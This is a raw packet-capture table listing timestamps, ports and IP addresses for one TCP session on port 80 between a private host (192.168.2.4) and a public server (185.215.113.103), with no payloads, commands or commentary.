Oct 18, 2024 15:04:10.871340036 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.871350050 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.871361017 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.871387959 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.871407986 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.873512983 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.873528957 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.873539925 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.873567104 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.873599052 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.874321938 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.874336004 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.874346018 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.874382973 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.874402046 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.875977039 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.875992060 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.876002073 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.876013041 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.876039982 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.876072884 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.877688885 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.877702951 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.877713919 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.877749920 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.878365993 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.878379107 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.878388882 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.878413916 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.878444910 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.879935026 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.879951000 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.879996061 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.880017042 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.880033016 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.880503893 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.880517006 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.880526066 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.880537033 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.880551100 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.880570889 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.882169008 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.882181883 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.882191896 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.882255077 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.882738113 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.882750988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.882761955 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.882787943 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.882814884 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.884232998 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.884244919 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.884254932 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.884263039 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.884305000 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.884885073 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.884896994 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.884906054 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.884936094 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.884962082 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.886099100 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.886111975 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.886121988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.886168957 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.886735916 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.886749029 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.886759043 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.886770010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.886790991 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.886806011 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.888339043 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.888353109 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.888364077 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.888400078 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.888849974 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.888863087 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.888873100 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.888900995 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.888912916 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.890573025 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.890610933 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.890620947 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.890633106 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.890666962 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.890691042 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.891380072 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.891422987 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.891433954 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.891436100 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.891458035 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.891478062 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.893265963 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.893280029 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.893290997 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.893332958 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.893836975 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.893851042 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.893857956 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.893877983 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.893912077 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.893925905 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.895960093 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.895975113 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.895986080 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.896044970 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.896634102 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.896648884 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.896660089 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.896697998 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.896713018 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.898927927 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.898942947 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.898952961 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.898988008 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.899008989 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.899040937 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.899327993 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.899343014 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.899353027 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.899425030 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.901767969 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.901782990 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.901793003 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.901844025 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.902117968 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.902132034 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.902142048 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.902153969 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.902163029 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.902203083 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.902856112 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.902869940 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.902879953 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.902892113 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.902915955 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.902947903 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.904207945 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.904222965 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.904233932 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.904244900 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.904257059 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.904273987 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.904299021 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.905603886 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.905616999 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.905627966 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.905638933 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.905668974 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.905689001 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.906625032 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.906639099 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.906649113 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.906656027 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.906708956 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.908188105 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.908202887 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.908212900 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.908219099 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.908258915 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.908288956 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.910881996 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.910937071 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.910948038 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.910959005 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.910995960 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.911025047 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.912178040 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.912194014 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.912204027 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.912215948 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.912254095 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.912269115 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.914763927 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.914777040 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.914787054 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.914860010 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.915007114 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.915019989 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.915030003 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.915066004 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.915085077 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.916851044 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.916866064 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.916877031 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.916888952 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.916917086 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.916950941 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.917123079 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.917135000 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.917145967 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.917179108 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.919744015 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.919759035 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.919770002 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.919871092 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.920196056 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.920209885 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.920221090 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.920233011 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.920263052 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.920288086 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.922472000 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.922487020 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.922497988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.922544956 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.922732115 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.922745943 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.922756910 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.922777891 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.922811031 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.925517082 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.925530910 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.925543070 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.925554991 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.925585985 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.925607920 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.926054001 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.926067114 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.926078081 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.926116943 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.928780079 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.928793907 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.928803921 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.928839922 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.928852081 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.928862095 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.928863049 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.928881884 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.928910017 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.931837082 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.931850910 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.931862116 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.931874037 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.931905031 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.931926012 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.931946039 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.931957960 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.931969881 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.931994915 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.932022095 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.935053110 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.935065985 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.935076952 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.935139894 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.935168028 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.935192108 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.935220003 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.935230970 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.935240984 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.935265064 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.935295105 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.937922955 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.937937021 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.937947035 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.937987089 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.938019037 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.938174009 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.938185930 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.938195944 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.938230038 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.940565109 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.940578938 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.940588951 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.940627098 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.940848112 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.940890074 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.941431046 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.941443920 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.941483021 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.943201065 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.943234921 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.943289042 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.944207907 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.944221973 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.944266081 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.945992947 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.946006060 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.946016073 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.946049929 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.946069956 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.946605921 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.946619034 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.946657896 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.948265076 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.948282957 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.948314905 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.948347092 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.948569059 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.948581934 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.948591948 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.948638916 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.948662996 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.949459076 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.949470043 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.949480057 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.949491024 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.949513912 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.949536085 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.950562000 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.950576067 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.950581074 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.950587034 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.950639963 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.951705933 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.951718092 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.951730013 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.951759100 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.951782942 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.952929974 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.952943087 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.952954054 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.952985048 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.953011990 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.954112053 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.954124928 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.954135895 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.954145908 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.954180002 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.954207897 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.955267906 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.955286980 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.955296993 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.955327988 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.955346107 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.956576109 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.956588984 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.956599951 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.956625938 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.956650972 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.957822084 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.957835913 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.957849026 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.957859993 CEST	80	49799	185.215.113.103	192.168.2.4
